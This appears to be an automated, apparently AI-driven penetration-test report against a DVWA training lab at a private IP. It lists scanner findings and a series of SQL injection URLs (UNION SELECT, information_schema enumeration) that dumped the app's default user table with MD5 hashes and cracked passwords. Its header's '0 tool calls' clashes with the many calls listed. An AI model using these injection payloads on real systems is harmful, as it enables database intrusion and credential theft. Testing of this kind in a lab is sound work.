CISM engagement report — 172.28.0.2

- Run: `75044ba831054fa197df1cd10530614c`
- Generated: 2026-10-20T15:37:25+00:00
- Outcome: completed — 0 tool call(s), 0 failure(s), 0 guardrail block(s)

Phase progression

- `2026-10-19T17:14:33+00:00` → **recon**
- `2026-10-19T17:14:59+00:00` → **enumeration**
- `2026-10-19T17:15:27+00:00` → **vulnerability-discovery**
- `2026-10-19T17:16:14+00:00` → **exploitation**

Confirmed credentials (SQL Injection)

Extracted from the `users` table via `UNION SELECT user,password FROM users` against `/vulnerabilities/sqli/` (security=low). Verified against the raw tool output, not just the model's narration.

user	password hash (MD5)	plaintext
admin	`5f4dcc3b5aa765d61d8327deb882cf99`	password
gordonb	`e99a18c428cb38d5f260853678922e03`	abc123
1337	`8d3533d75ae2c3966d7e0d4fcc69216b`	charley
pablo	`0d107d09f5bbe40cade3de5c71e9e9b7`	letmein
smithy	`5f4dcc3b5aa765d61d8327deb882cf99`	password

Findings

[resolved] open-port — 172.28.0.2 (80/tcp)

- `17:14:41` **nmap** [T2]: 80/tcp http

[resolved] waf-absent — 172.28.0.2 (no-waf-detected)

- `17:15:12` **wafw00f** [T2]: no-waf-detected

[resolved] exposed-path — 172.28.0.2 (/docs (301))

- `17:15:45` **gobuster** [T2]: /docs (301)

[resolved] exposed-path — 172.28.0.2 (/robots.txt (200))

- `17:15:45` **gobuster** [T2]: /robots.txt (200)

[resolved] exposed-path — 172.28.0.2 (/config (301))

- `17:15:45` **gobuster** [T2]: /config (301)

[resolved] exposed-path — 172.28.0.2 (/phpinfo.php (302))

- `17:15:45` **gobuster** [T2]: /phpinfo.php (302)

[resolved] exposed-path — 172.28.0.2 (/setup.php (200))

- `17:15:45` **gobuster** [T2]: /setup.php (200)

[resolved] info-endpoint — 172.28.0.2/phpinfo.php (/admin)

- `17:16:36` **curl** [T3]: An informational endpoint was discovered.

[resolved] info-endpoint — 172.28.0.2/phpinfo.php (/status)

- `17:16:36` **curl** [T3]: An informational endpoint was discovered.

[resolved] info-header — 172.28.0.2/login.php (X-Powered-By)

- `17:18:20` **curl** [T3]: Information disclosure via X-Powered-By header.

[resolved] info-header — 172.28.0.2/login.php (Server)

- `17:18:20` **curl** [T3]: Server software version is disclosed.

[resolved] curl — 172.28.0.2/admin (cd8c09f03e82)

- `17:19:08` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] server-banner — 172.28.0.2 (Apache/2.4.25 (Debian))

- `17:20:03` **nikto** [T2]: Server: Apache/2.4.25 (Debian)

[resolved] nikto-finding — 172.28.0.2 ([600050] Apache/2.4.25 appears to be outdated (current is at least 2.4.68).)

- `17:20:03` **nikto** [T2]: [600050] Apache/2.4.25 appears to be outdated (current is at least 2.4.68).

[resolved] nikto-finding — 172.28.0.2 ([013587] /: Suggested security header missing: permissions-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy)

- `17:20:03` **nikto** [T2]: [013587] /: Suggested security header missing: permissions-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy

[resolved] nikto-finding — 172.28.0.2 ([013587] /: Suggested security header missing: strict-transport-security. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Securi)

- `17:20:03` **nikto** [T2]: [013587] /: Suggested security header missing: strict-transport-security. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Securi

[resolved] nikto-finding — 172.28.0.2 ([013587] /: Suggested security header missing: x-content-type-options. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options)

- `17:20:03` **nikto** [T2]: [013587] /: Suggested security header missing: x-content-type-options. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options

[resolved] nikto-finding — 172.28.0.2 ([013587] /: Suggested security header missing: referrer-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy)

- `17:20:03` **nikto** [T2]: [013587] /: Suggested security header missing: referrer-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy

[resolved] nikto-finding — 172.28.0.2 ([013587] /: Suggested security header missing: content-security-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)

- `17:20:03` **nikto** [T2]: [013587] /: Suggested security header missing: content-security-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

[resolved] nikto-finding — 172.28.0.2 ([750500] /config/: Directory indexing found. See: CWE-548)

- `17:20:03` **nikto** [T2]: [750500] /config/: Directory indexing found. See: CWE-548

[resolved] nikto-finding — 172.28.0.2 ([000998] /config/: Configuration information may be available remotely.)

- `17:20:03` **nikto** [T2]: [000998] /config/: Configuration information may be available remotely.

[resolved] nikto-finding — 172.28.0.2 ([750500] /docs/: Directory indexing found. See: CWE-548)

- `17:20:03` **nikto** [T2]: [750500] /docs/: Directory indexing found. See: CWE-548

[resolved] nikto-finding — 172.28.0.2 ([003584] /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/)

- `17:20:03` **nikto** [T2]: [003584] /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/

[resolved] nikto-finding — 172.28.0.2 ([006333] /login.php: Admin login page/section found.)

- `17:20:03` **nikto** [T2]: [006333] /login.php: Admin login page/section found.

[resolved] nikto-finding — 172.28.0.2 ([007224] /.gitignore: .gitignore file found. It is possible to grasp the directory structure.)

- `17:20:03` **nikto** [T2]: [007224] /.gitignore: .gitignore file found. It is possible to grasp the directory structure.

[resolved] nikto-finding — 172.28.0.2 ([007342] /: X-Frame-Options header is deprecated and was replaced with the Content-Security-Policy HTTP header with the frame-ancestors directive. See: https://)

- `17:20:03` **nikto** [T2]: [007342] /: X-Frame-Options header is deprecated and was replaced with the Content-Security-Policy HTTP header with the frame-ancestors directive. See: https://

[resolved] nikto-finding — 172.28.0.2 ([007352] /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME t)

- `17:20:03` **nikto** [T2]: [007352] /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME t

[resolved] outdated-server-header — 172.28.0.2/etc/passwd (Apache/2.4.25 (Debian))

- `17:23:28` **curl** [T2]: The server is running a specific version of Apache.

[resolved] outdated-server-header — 172.28.0.2/instructions.php (DVWA v1.10)

- `17:30:34` **curl** [T2]: The application is running a known vulnerable version.

[resolved] application-info-disclosure — 172.28.0.2/instructions.php (DVWA)

- `17:30:34` **curl** [T3]: The application explicitly states it is vulnerable.
- `17:30:34` **curl** [T3]: The application warns users about its inherent vulnerability.
- `17:30:34` **curl** [T3]: The application discloses its licensing information.
- `17:30:34` **curl** [T3]: The application lists an older stable version.

[resolved] application-info-disclosure — 172.28.0.2/instructions.php (DVWA v1.0.7)

- `17:30:34` **curl** [T3]: The application lists an older live CD version.

[resolved] outdated-server-header — 172.28.0.2/login.php (Apache/2.4.25 (Debian))

- `17:31:46` **curl** [T2]: The server is running a potentially outdated Apache version.
- `17:42:33` **curl** [T2]: The server is running a potentially outdated Apache version.

[resolved] redirect-status — 172.28.0.2/login.php (302 Found)

- `17:31:46` **curl** [T3]: The initial request resulted in a redirection.
- `17:42:33` **curl** [T2]: The initial request resulted in a redirection.

[resolved] cookie-security — 172.28.0.2/login.php (security=low)

- `17:31:46` **curl** [T3]: A cookie was set with a low security designation.

[resolved] cookie-path — 172.28.0.2/login.php (/)

- `17:31:46` **curl** [T3]: A session cookie is set for the entire site path.

[resolved] cookie-security-header — 172.28.0.2/login.php (security=low)

- `17:42:33` **curl** [T3]: The session cookie is marked with a low security setting.

[resolved] info-header — 172.28.0.2/index.php (X-Powered-By: PHP/7.4)

- `17:43:38` **curl** [T3]: The server reveals its PHP version.

[resolved] info-header — 172.28.0.2/index.php (Server: nginx/1.18.0)

- `17:43:38` **curl** [T3]: The server reveals its Nginx version.

[resolved] info-header — 172.28.0.2/index.php (X-Frame-Options: SAMEORIGIN)

- `17:43:38` **curl** [T3]: The site implements a frame-busting policy.

[resolved] info-header — 172.28.0.2/index.php (Strict-Transport-Security)

- `17:43:38` **curl** [T3]: The site enforces HSTS.

[resolved] info-header — 172.28.0.2/index.php (Content-Security-Policy)

- `17:43:38` **curl** [T3]: The site implements CSP.

[resolved] info-header — 172.28.0.2/index.php (X-Content-Type-Options: nosniff)

- `17:43:38` **curl** [T3]: The site prevents MIME type sniffing.

[resolved] info-header — 172.28.0.2/index.php (X-Custom-Header)

- `17:43:38` **curl** [T3]: A custom header is present.

[resolved] info-header — 172.28.0.2/index.php (Missing-Header)

- `17:43:38` **curl** [T3]: A security header is missing.
- `17:43:38` **curl** [T3]: A security header is missing.

[resolved] curl — 172.28.0.2/index.php (469bb09c76b0)

- `17:44:34` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli (3828861d24c4)

- `17:49:01` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] outdated-server-header — 172.28.0.2/security.php (Apache/2.4.25 (Debian))

- `17:49:40` **curl** [T2]: The server is running a potentially outdated Apache version.

[resolved] curl — 172.28.0.2/vulnerabilities/sqli (99eec3a1ddb5)

- `17:52:12` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?user_token=a7299c249dd674cf4cdc275e554efe01" (d149a9f16263)

- `17:54:16` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?id=1%27+or+%271%27=%271&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (116547b48cbe)

- `17:58:01` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?id=1%20order%20by%203--&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (54915392e9ae)

- `18:03:10` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?id=1%27%20order%20by%203--&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (48de91f37473)

- `18:04:41` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?id=1%27%20order%20by%204--&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (48de91f37473)

- `18:05:38` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?id=1%20union%20select%201,%20version(),3--&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (cdf6f1cd28e9)

- `20:32:23` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?id=1%27%20union%20select%201,version()--%20-&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (e512a1a6a299)

- `20:33:37` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?id=1%27%20union%20select%201,database()--%20-%26submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (f0a3b3064189)

- `20:35:00` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?id=1%27%20union%20select%201,database()--%20-&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (d7c1554cd886)

- `20:37:03` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?id=1%27%20union%20select%201,database()--%20-%26submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (6cc04b32532c)

- `20:38:02` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?id=1%27%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema%3d%27dvwa%-%20-%26submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (9d502d3f57a2)

- `20:39:17` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?id=1%27%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema%3d%27dvwa%-%20-&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (2a9a4192b7c8)

- `20:40:31` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?id=1%27%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema%3d%27dvwa%-%20-%26submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (53ee8d2593db)

- `20:41:41` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?id=1%27%20union%20select%20column_name,2%20from%20information_schema.columns%20where%20table_name%3d%27use-%20-%26submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (21db8785c94d)

- `20:43:00` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?id=1%27%20union%20select%201,2%20from%20information_schema.columns%20where%20table_name%3d%27users%27--%20-%26submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (56a993ebe875)

- `20:44:40` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?id=1%27%20union%20select%20user,password%20from%20users--%20-%26submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (e0a9d3da4a0f)

- `20:45:56` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?id=1%27%20union%20select%20user,password%20from%20users--%20-%26submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (635c1dae4602)

- `20:47:27` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?id=1%27%20union%20select%20column_name,2%20from%20information_schema.columns%20where%20table_name%3d%27use-%20-%26submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (56a993ebe875)

- `20:47:56` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?id=1%27%20union%20select%201,2%20from%20information_schema.columns%20where%20table_name%3d%27users%27--%20-%26submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (566d357d06b9)

- `15:05:38` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?id=1%27%20union%20select%20user,password%20from%20users--%20-%26submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (a07fabc03c53)

- `15:08:07` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?id=1%27%20union%20select%20user,password%20from%20users--%20-%26submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (f75a42e6e77e)

- `15:09:51` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.2/vulnerabilities/sqli/?id=1%27%20union%20select%20user,password%20from%20users--%20-&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (creds: admin,gordonb,1337,pablo,smithy (see report))

- `15:34:01` **curl** [T3]: real UNION SELECT dump confirmed in the raw response body (5228 bytes) -- admin/5f4dcc3b5aa765d61d8327deb882cf99 (password), admin/admin, gordonb/e99a18c428cb38d5f260853678922e03 (abc123), 1337/8d3533d75ae2c3966d7e0d4fcc69216b (charley), pablo/0d107d09f5bbe40cade3de5c71e9e9b7 (letmein), smithy/5f4dcc3b5aa765d61d8327deb882cf99 (password)

Other observed activity (not resolved)

[blocked] dead-region — 172.28.0.2/setup.php (sql-injection-attempt:172.28.0.2/setup.php:no-injection-found)

- `17:17:22` **prune** [T3]: collapsed 1 dead nodes: sql-injection-attempt:172.28.0.2/setup.php:no-injection-found

[blocked] dead-region — 172.28.0.2/login.php (pruned:172.28.0.2/login.php:info-header:172.28.0.2/login.php:X-Frame-Options+sql-injection-attempt:172.28.0.2/login.php:no-injection-found)

- `17:18:20` **prune** [T3]: collapsed 2 dead nodes: pruned:172.28.0.2/login.php:info-header:172.28.0.2/login.php:X-Frame-Options, sql-injection-attempt:172.28.0.2/login.php:no-injection-found

[contested] credential-found — 172.28.0.2/setup.php (password=****<br)**

- `17:24:19` **curl** [T2]: password=******<br

[contested] info-header — 172.28.0.2/login.php (X-Powered-By: PHP/7.4)

- `17:25:25` **curl** [T3]: The server reveals its PHP version.
- `17:26:12` **curl** [T3]: The server reveals its PHP version.

[contested] curl — 172.28.0.2/login.php (04c253b9e763)

- `17:29:20` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...
- `17:37:59` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...
- `17:40:50` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[blocked] sql-injection-attempt — 172.28.0.2/setup.php (no-injection-found)

- `17:40:00` **sqlmap** [T3]: ToolTimeoutError: sqlmap: timed out after 90s

[contested] info-header — 172.28.0.2/setup.php (X-Powered-By)

- `17:41:32` **curl** [T3]: Information disclosure via X-Powered-By header.

[contested] info-header — 172.28.0.2/setup.php (Server)

- `17:41:32` **curl** [T3]: Server software version is disclosed.

[blocked] info-header — 172.28.0.2/setup.php (X-Frame-Options)

- `17:41:32` **curl** [T3]: X-Frame-Options header is present and restrictive.

[blocked] dead-region — 172.28.0.2/vulnerabilities/sqli/?id=1 order by 2-- -&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (tool-error:172.28.0.2/vulnerabilities/sqli/?id=1 order by 2-- -

&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d:URL rejected)

- `17:59:48` **prune** [T3]: collapsed 1 dead nodes: tool-error:172.28.0.2/vulnerabilities/sqli/?id=1 order by 2-- -&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d:URL rejected

[blocked] dead-region — 172.28.0.2/vulnerabilities/sqli/?id=1 order by 2-- -&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (tool-error:172.28.0.2/vulnerabilities/sqli/?id=1 order by 2-- -&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d:curl exited 3)

- `17:59:48` **prune** [T3]: collapsed 1 dead nodes: tool-error:172.28.0.2/vulnerabilities/sqli/?id=1 order by 2-- -&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d:curl exited 3

[blocked] dead-region — 172.28.0.2/vulnerabilities/sqli/?id=1 order by 3--&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (tool-error:172.28.0.2/vulnerabilities/sqli/?id=1 order by 3--&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d:URL rejected)

- `18:02:16` **prune** [T3]: collapsed 1 dead nodes: tool-error:172.28.0.2/vulnerabilities/sqli/?id=1 order by 3--&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d:URL rejected

[blocked] dead-region — 172.28.0.2/vulnerabilities/sqli/?id=1 order by 3--&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (tool-error:172.28.0.2/vulnerabilities/sqli/?id=1 order by 3--&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d:curl exited 3)

- `18:02:16` **prune** [T3]: collapsed 1 dead nodes: tool-error:172.28.0.2/vulnerabilities/sqli/?id=1 order by 3--&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d:curl exited 3

[blocked] dead-region — 172.28.0.2/vulnerabilities/sqli/?id=1' union select 1,database()-- -&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d (curl:172.28.0.2/vulnerabilities/sqli/?id=1' union select 1,database()-- -&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d:c917d2f1a67e)

- `20:36:03` **prune** [T3]: collapsed 1 dead nodes: curl:172.28.0.2/vulnerabilities/sqli/?id=1' union select 1,database()-- -&submit=submit&user_token=ec70f7d86ed11cfdd3688c4fed1d7f1d:c917d2f1a67e

Narrative context

- `[T2]` (recon) 80/tcp http
- `[T2]` (recon) phase proposal → enumeration (pending /phase approval)
- `[T2]` (enumeration) no-waf-detected
- `[T2]` (enumeration) phase proposal → vulnerability-discovery (pending /phase approval)
- `[T2]` (vulnerability-discovery) /docs (301)
- `[T2]` (vulnerability-discovery) /robots.txt (200)
- `[T2]` (vulnerability-discovery) /config (301)
- `[T2]` (vulnerability-discovery) /phpinfo.php (302)
- `[T2]` (vulnerability-discovery) /setup.php (200)
- `[T2]` (vulnerability-discovery) phase proposal → exploitation (pending /phase approval)
- `[T3]` (exploitation) An informational endpoint was discovered.
- `[T3]` (exploitation) An informational endpoint was discovered.
- `[T3]` (exploitation) Information disclosure via X-Powered-By header.
- `[T3]` (exploitation) Server software version is disclosed.
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T2]` (exploitation) Server: Apache/2.4.25 (Debian)
- `[T2]` (exploitation) [600050] Apache/2.4.25 appears to be outdated (current is at least 2.4.68).
- `[T2]` (exploitation) [013587] /: Suggested security header missing: permissions-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy
- `[T2]` (exploitation) [013587] /: Suggested security header missing: strict-transport-security. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Securi
- `[T2]` (exploitation) [013587] /: Suggested security header missing: x-content-type-options. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options
- `[T2]` (exploitation) [013587] /: Suggested security header missing: referrer-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy
- `[T2]` (exploitation) [013587] /: Suggested security header missing: content-security-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
- `[T2]` (exploitation) [750500] /config/: Directory indexing found. See: CWE-548
- `[T2]` (exploitation) [000998] /config/: Configuration information may be available remotely.
- `[T2]` (exploitation) [750500] /docs/: Directory indexing found. See: CWE-548
- `[T2]` (exploitation) [003584] /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/

- `[T2]` (exploitation) [006333] /login.php: Admin login page/section found.
- `[T2]` (exploitation) [007224] /.gitignore: .gitignore file found. It is possible to grasp the directory structure.
- `[T2]` (exploitation) [007342] /: X-Frame-Options header is deprecated and was replaced with the Content-Security-Policy HTTP header with the frame-ancestors directive. See: https://
- `[T2]` (exploitation) [007352] /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME t
- `[T3]` (exploitation) ToolTimeoutError: sqlmap: timed out after 90s
- `[T2]` (exploitation) The server is running a specific version of Apache.
- `[T2]` (exploitation) password=******<br
- `[T3]` (exploitation) The server reveals its PHP version.
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T2]` (exploitation) The application is running a known vulnerable version.
- `[T3]` (exploitation) The application lists an older stable version.
- `[T3]` (exploitation) The application lists an older live CD version.
- `[T2]` (exploitation) The server is running a potentially outdated Apache version.
- `[T3]` (exploitation) The initial request resulted in a redirection.
- `[T3]` (exploitation) A cookie was set with a low security designation.
- `[T3]` (exploitation) A session cookie is set for the entire site path.
- `[T3]` (exploitation) ToolTimeoutError: sqlmap: timed out after 90s
- `[T3]` (exploitation) Information disclosure via X-Powered-By header.
- `[T3]` (exploitation) Server software version is disclosed.
- `[T3]` (exploitation) X-Frame-Options header is present and restrictive.
- `[T3]` (exploitation) The session cookie is marked with a low security setting.
- `[T3]` (exploitation) The server reveals its PHP version.
- `[T3]` (exploitation) The server reveals its Nginx version.
- `[T3]` (exploitation) The site implements a frame-busting policy.
- `[T3]` (exploitation) The site enforces HSTS.
- `[T3]` (exploitation) The site implements CSP.
- `[T3]` (exploitation) The site prevents MIME type sniffing.
- `[T3]` (exploitation) A custom header is present.
- `[T3]` (exploitation) A security header is missing.
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T2]` (exploitation) The server is running a potentially outdated Apache version.
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) ToolExecutionError: curl exited 3

curl: (3) URL rejected: Malformed input to a URL function

- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...

- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (exploitation) % Total % Received % Xferd Average Speed Time Time Time Current...